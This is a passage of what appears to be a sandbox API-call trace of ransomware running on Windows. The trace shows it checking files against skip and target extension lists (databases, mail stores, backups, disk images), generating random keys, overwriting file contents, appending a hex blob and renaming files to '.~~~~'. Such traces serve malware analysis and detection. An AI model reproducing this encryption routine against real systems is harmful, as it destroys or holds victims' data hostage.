	[0142.448] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.448] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.448] CloseHandle (hObject=0x104) returned 1
	[0142.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9948
	[0142.448] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir19f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir19f.gif.~~~~")) returned 1
	[0142.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9948 | out: hHeap=0x300000) returned 1
	[0142.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0142.450] GetLastError () returned 0x0
	[0142.450] RtlWakeConditionVariable () returned 0x0
	[0142.450] GetCurrentThreadId () returned 0x9cc
	[0142.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".scr") returned 0x0
	[0142.450] lstrlenW (lpString=".cmd") returned 4
	[0142.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".cmd") returned 0x0
	[0142.451] lstrlenW (lpString=".dll") returned 4
	[0142.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".dll") returned 0x0
	[0142.451] lstrlenW (lpString=".bat") returned 4
	[0142.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".bat") returned 0x0
	[0142.451] lstrlenW (lpString=".cpl") returned 4
	[0142.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".cpl") returned 0x0
	[0142.451] lstrlenW (lpString=".sys") returned 4
	[0142.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".sys") returned 0x0
	[0142.451] lstrlenW (lpString=".msc") returned 4
	[0142.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".msc") returned 0x0
	[0142.451] lstrlenW (lpString=".com") returned 4
	[0142.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".com") returned 0x0
	[0142.451] lstrlenW (lpString=".lnk") returned 4
	[0142.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".lnk") returned 0x0
	[0142.451] lstrlenW (lpString=".msp") returned 4
	[0142.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".msp") returned 0x0
	[0142.451] lstrlenW (lpString=".pif") returned 4
	[0142.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".pif") returned 0x0
	[0142.451] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0142.480] lstrlenW (lpString=".sqb") returned 4
	[0142.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".sqb") returned 0x0
	[0142.480] lstrlenW (lpString=".ost") returned 4
	[0142.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".ost") returned 0x0
	[0142.480] lstrlenW (lpString=".txt") returned 4
	[0142.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".txt") returned 0x0
	[0142.481] lstrlenW (lpString=".mdt") returned 4
	[0142.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".mdt") returned 0x0
	[0142.481] lstrlenW (lpString=".BDB") returned 4
	[0142.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".BDB") returned 0x0
	[0142.481] lstrlenW (lpString=".eql") returned 4
	[0142.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".eql") returned 0x0
	[0142.481] lstrlenW (lpString=".DBF") returned 4
	[0142.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".DBF") returned 0x0
	[0142.481] lstrlenW (lpString=".EQL") returned 4
	[0142.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".EQL") returned 0x0
	[0142.481] lstrlenW (lpString=".FDB") returned 4
	[0142.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".FDB") returned 0x0
	[0142.481] lstrlenW (lpString=".EDB") returned 4
	[0142.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".EDB") returned 0x0
	[0142.481] lstrlenW (lpString=".DACPAC") returned 7
	[0142.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.481] lstrlenW (lpString=".VHD") returned 4
	[0142.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".VHD") returned 0x0
	[0142.481] lstrlenW (lpString=".DBV") returned 4
	[0142.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".DBV") returned 0x0
	[0142.481] lstrlenW (lpString=".dacpac") returned 7
	[0142.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".dacpac") returned 0x0
	[0142.481] lstrlenW (lpString=".sdf") returned 4
	[0142.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".sdf") returned 0x0
	[0142.481] lstrlenW (lpString=".accdb") returned 6
	[0142.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".accdb") returned 0x0
	[0142.481] lstrlenW (lpString=".DBX") returned 4
	[0142.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".DBX") returned 0x0
	[0142.481] lstrlenW (lpString=".MDT") returned 4
	[0142.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".MDT") returned 0x0
	[0142.481] lstrlenW (lpString=".SQB") returned 4
	[0142.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".SQB") returned 0x0
	[0142.482] lstrlenW (lpString=".vhd") returned 4
	[0142.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".vhd") returned 0x0
	[0142.482] lstrlenW (lpString=".bac") returned 4
	[0142.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".bac") returned 0x0
	[0142.482] lstrlenW (lpString=".mdf") returned 4
	[0142.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".mdf") returned 0x0
	[0142.482] lstrlenW (lpString=".BAK") returned 4
	[0142.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".BAK") returned 0x0
	[0142.482] lstrlenW (lpString=".BAC") returned 4
	[0142.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".BAC") returned 0x0
	[0142.482] lstrlenW (lpString=".dbs") returned 4
	[0142.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".dbs") returned 0x0
	[0142.482] lstrlenW (lpString=".vhdx") returned 5
	[0142.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".vhdx") returned 0x0
	[0142.482] lstrlenW (lpString=".NDF") returned 4
	[0142.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".NDF") returned 0x0
	[0142.482] lstrlenW (lpString=".dat") returned 4
	[0142.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".dat") returned 0x0
	[0142.482] lstrlenW (lpString=".DBS") returned 4
	[0142.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".DBS") returned 0x0
	[0142.482] lstrlenW (lpString=".CKP") returned 4
	[0142.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".CKP") returned 0x0
	[0142.482] lstrlenW (lpString=".edb") returned 4
	[0142.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".edb") returned 0x0
	[0142.482] lstrlenW (lpString=".PST") returned 4
	[0142.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".PST") returned 0x0
	[0142.482] lstrlenW (lpString=".dbf") returned 4
	[0142.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".dbf") returned 0x0
	[0142.482] lstrlenW (lpString=".SQL") returned 4
	[0142.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".SQL") returned 0x0
	[0142.482] lstrlenW (lpString=".pst") returned 4
	[0142.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".pst") returned 0x0
	[0142.483] lstrlenW (lpString=".dbv") returned 4
	[0142.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".dbv") returned 0x0
	[0142.483] lstrlenW (lpString=".SDF") returned 4
	[0142.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".SDF") returned 0x0
	[0142.483] lstrlenW (lpString=".dtxs") returned 5
	[0142.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".dtxs") returned 0x0
	[0142.483] lstrlenW (lpString=".db3") returned 4
	[0142.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".db3") returned 0x0
	[0142.483] lstrlenW (lpString=".OST") returned 4
	[0142.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".OST") returned 0x0
	[0142.483] lstrlenW (lpString=".dbx") returned 4
	[0142.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".dbx") returned 0x0
	[0142.483] lstrlenW (lpString=".DB3") returned 4
	[0142.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".DB3") returned 0x0
	[0142.483] lstrlenW (lpString=".DAT") returned 4
	[0142.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".DAT") returned 0x0
	[0142.484] lstrlenW (lpString=".VHDX") returned 5
	[0142.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".VHDX") returned 0x0
	[0142.484] lstrlenW (lpString=".ndf") returned 4
	[0142.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".ndf") returned 0x0
	[0142.484] lstrlenW (lpString=".DB") returned 3
	[0142.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".DB") returned 0x0
	[0142.484] lstrlenW (lpString=".sql") returned 4
	[0142.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".sql") returned 0x0
	[0142.485] lstrlenW (lpString=".MYD") returned 4
	[0142.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".MYD") returned 0x0
	[0142.485] lstrlenW (lpString=".DBT") returned 4
	[0142.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".DBT") returned 0x0
	[0142.485] lstrlenW (lpString=".ACCDB") returned 6
	[0142.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.485] lstrlenW (lpString=".fdb") returned 4
	[0142.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".fdb") returned 0x0
	[0142.485] lstrlenW (lpString=".bak") returned 4
	[0142.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".bak") returned 0x0
	[0142.485] lstrlenW (lpString=".myd") returned 4
	[0142.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".myd") returned 0x0
	[0142.485] lstrlenW (lpString=".DTXS") returned 5
	[0142.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".DTXS") returned 0x0
	[0142.485] lstrlenW (lpString=".ckp") returned 4
	[0142.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".ckp") returned 0x0
	[0142.485] lstrlenW (lpString=".dbt") returned 4
	[0142.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".dbt") returned 0x0
	[0142.485] lstrlenW (lpString=".db") returned 3
	[0142.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".db") returned 0x0
	[0142.485] lstrlenW (lpString=".TXT") returned 4
	[0142.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".TXT") returned 0x0
	[0142.485] lstrlenW (lpString=".MDF") returned 4
	[0142.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".MDF") returned 0x0
	[0142.485] lstrlenW (lpString=".bdb") returned 4
	[0142.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".bdb") returned 0x0
	[0142.485] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0142.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.486] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.487] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.487] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0142.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0142.487] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26247703484) returned 1
	[0142.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe562a30, dwHighDateTime=0x1d60e1e)) 
	[0142.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0142.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0142.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0142.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fab30
	[0142.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fab30 | out: hHeap=0x300000) returned 1
	[0142.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9948
	[0142.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0142.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9948 | out: hHeap=0x300000) returned 1
	[0142.488] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.488] GetLastError () returned 0x0
	[0142.488] GetLastError () returned 0x0
	[0142.488] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.488] GetLastError () returned 0x0
	[0142.488] GetLastError () returned 0x0
	[0142.488] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0xef5, lpOverlapped=0x0) returned 1
	[0142.490] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffff10b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.490] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xef5, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xef5, lpOverlapped=0x0) returned 1
	[0142.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.490] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.490] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.490] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.490] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.491] CloseHandle (hObject=0x104) returned 1
	[0142.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9948
	[0142.491] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1b.gif.~~~~")) returned 1
	[0142.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9948 | out: hHeap=0x300000) returned 1
	[0142.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0142.493] GetLastError () returned 0x0
	[0142.494] RtlWakeConditionVariable () returned 0x0
	[0142.494] GetCurrentThreadId () returned 0x9cc
	[0142.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".scr") returned 0x0
	[0142.494] lstrlenW (lpString=".cmd") returned 4
	[0142.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".cmd") returned 0x0
	[0142.494] lstrlenW (lpString=".dll") returned 4
	[0142.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".dll") returned 0x0
	[0142.494] lstrlenW (lpString=".bat") returned 4
	[0142.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".bat") returned 0x0
	[0142.494] lstrlenW (lpString=".cpl") returned 4
	[0142.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".cpl") returned 0x0
	[0142.494] lstrlenW (lpString=".sys") returned 4
	[0142.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".sys") returned 0x0
	[0142.494] lstrlenW (lpString=".msc") returned 4
	[0142.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".msc") returned 0x0
	[0142.494] lstrlenW (lpString=".com") returned 4
	[0142.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".com") returned 0x0
	[0142.494] lstrlenW (lpString=".lnk") returned 4
	[0142.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".lnk") returned 0x0
	[0142.494] lstrlenW (lpString=".msp") returned 4
	[0142.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".msp") returned 0x0
	[0142.494] lstrlenW (lpString=".pif") returned 4
	[0142.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".pif") returned 0x0
